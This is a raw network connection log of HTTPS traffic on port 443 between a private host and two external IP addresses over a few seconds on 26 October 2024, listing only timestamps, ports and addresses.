Oct 26, 2024 13:48:58.642657042 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.642688036 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.642760992 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.642776012 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.642807007 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.642822981 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.642853022 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.715162039 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:58.715265036 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:58.722536087 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:58.722570896 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:58.722877979 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:58.863352060 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:58.888583899 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.888605118 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.888652086 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.888674021 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.888706923 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.888716936 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.888907909 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.999012947 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.004920006 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.005703926 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.010829926 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.014484882 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.014507055 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.014909983 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.016068935 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.019330978 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.019356012 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.019891024 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.019902945 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.020167112 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.020175934 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.020308018 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.020435095 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.020497084 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.020945072 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.021045923 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.021301985 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.021361113 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.021579981 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.021595001 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.022259951 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.022332907 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.022634983 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.022694111 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.023087025 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.023152113 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.023982048 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.024066925 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.024748087 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.024826050 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.025127888 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.025482893 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.025777102 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.025789022 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.026138067 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.026145935 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.026325941 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.026340008 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.067332029 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.071337938 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.123611927 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.123613119 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.152906895 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.257461071 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.257477999 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.257499933 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.257541895 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.257564068 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.257585049 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.257603884 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.274306059 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.274329901 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.274384022 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.274400949 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.274441004 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.275907993 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.275937080 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.275943995 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.276002884 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.276009083 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.276047945 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.276827097 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.276856899 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.276865005 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.276911974 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.276915073 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.276973963 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.303694010 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:59.310214043 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.310225010 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.310753107 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.310797930 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.311528921 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.311533928 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.313060999 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.313443899 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.313465118 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.313596964 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.314234018 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.314251900 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.315951109 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.315965891 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.316492081 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.316500902 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.347327948 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:59.361565113 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.361589909 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.361624956 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.361656904 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.361665010 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.361711979 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.388524055 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.388607025 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.388607979 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.388655901 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.389214993 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.389231920 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390063047 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390094995 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390104055 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390134096 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390147924 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390155077 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390188932 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.390201092 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390212059 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.390216112 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.390259027 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.393400908 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.393414974 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.393471956 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.393472910 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.393676043 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.393851995 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.393863916 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.393873930 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.393902063 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.553576946 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:59.553648949 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:59.553730965 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:59.627110958 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.627159119 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.627192020 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.627214909 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.627223969 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.627249956 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.627283096 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.627309084 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.639890909 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:59.639906883 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:59.873449087 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.873465061 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.873488903 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.873522997 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.873547077 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.873558044 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:59.877432108 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:59.964250088 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:59.964288950 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:59.964349985 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:59.964905977 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:59.964916945 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:00.170628071 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.173902988 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.173929930 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.174366951 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.176892996 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.177402973 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.177505016 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.178287983 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.183527946 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.183546066 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.183963060 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.191548109 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.191656113 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.191894054 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.219330072 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.239326954 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.242511988 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.242527962 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.242554903 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.242599964 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.242628098 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.242644072 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.242666006 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.247042894 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.247077942 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.247210979 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.247474909 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.247513056 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.247577906 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.248044968 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.248056889 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.248311996 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.248327017 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.335199118 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.335243940 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.335323095 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.335716963 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.335732937 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.425101995 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.425132990 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.425209999 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.425276041 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.425307035 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.426608086 CEST	49730	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.426630020 CEST	443	49730	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.543355942 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.543389082 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.543411970 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.543452978 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.543473005 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.543504000 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.543523073 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.561408043 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.561501026 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.561503887 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.561549902 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.562313080 CEST	49729	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.562331915 CEST	443	49729	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.611584902 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.611605883 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.611624956 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.611675024 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.611705065 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.611721992 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.611756086 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.815819979 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:00.815911055 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:49:00.817632914 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:49:00.817641973 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:00.817975998 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:00.819309950 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:49:00.867332935 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:00.980782986 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.980801105 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.980842113 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.980859041 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.980879068 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:00.980905056 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:00.980922937 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.064766884 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:01.064934015 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:01.065066099 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:49:01.066060066 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:49:01.066082954 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:01.066096067 CEST	49731	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:49:01.066101074 CEST	443	49731	184.28.90.27	192.168.2.5
Oct 26, 2024 13:49:01.091963053 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.092242956 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.092262030 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.094657898 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.094724894 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.095675945 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.095809937 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.095822096 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.098268032 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.098458052 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.098472118 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.099533081 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.099592924 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.099939108 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.100013018 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.100183964 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.100195885 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.140466928 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.140486956 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.159945965 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.183624029 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.183890104 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.183906078 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.184938908 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.184998035 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.185386896 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.185444117 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.185731888 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.185739040 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.249401093 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.249435902 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.341991901 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.342027903 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.342036009 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.342106104 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.342139006 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.342160940 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.346378088 CEST	49732	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.346395016 CEST	443	49732	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.349977016 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.349992990 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350018978 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350056887 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.350075960 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350107908 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.350126028 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.350641966 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350663900 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350737095 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.350748062 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350759983 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.350799084 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.352300882 CEST	49733	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.352323055 CEST	443	49733	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552295923 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552336931 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552349091 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552381039 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552386045 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.552393913 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552405119 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552423000 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552431107 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.552448988 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.552467108 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.552509069 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.552707911 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.555691957 CEST	49734	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.555712938 CEST	443	49734	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.719360113 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.719381094 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.719413996 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.719435930 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.719459057 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.719480038 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.719496965 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.965480089 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.965496063 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.965518951 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.965624094 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:01.965670109 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:01.965742111 CEST	49718	443	192.168.2.5	212.42.75.253
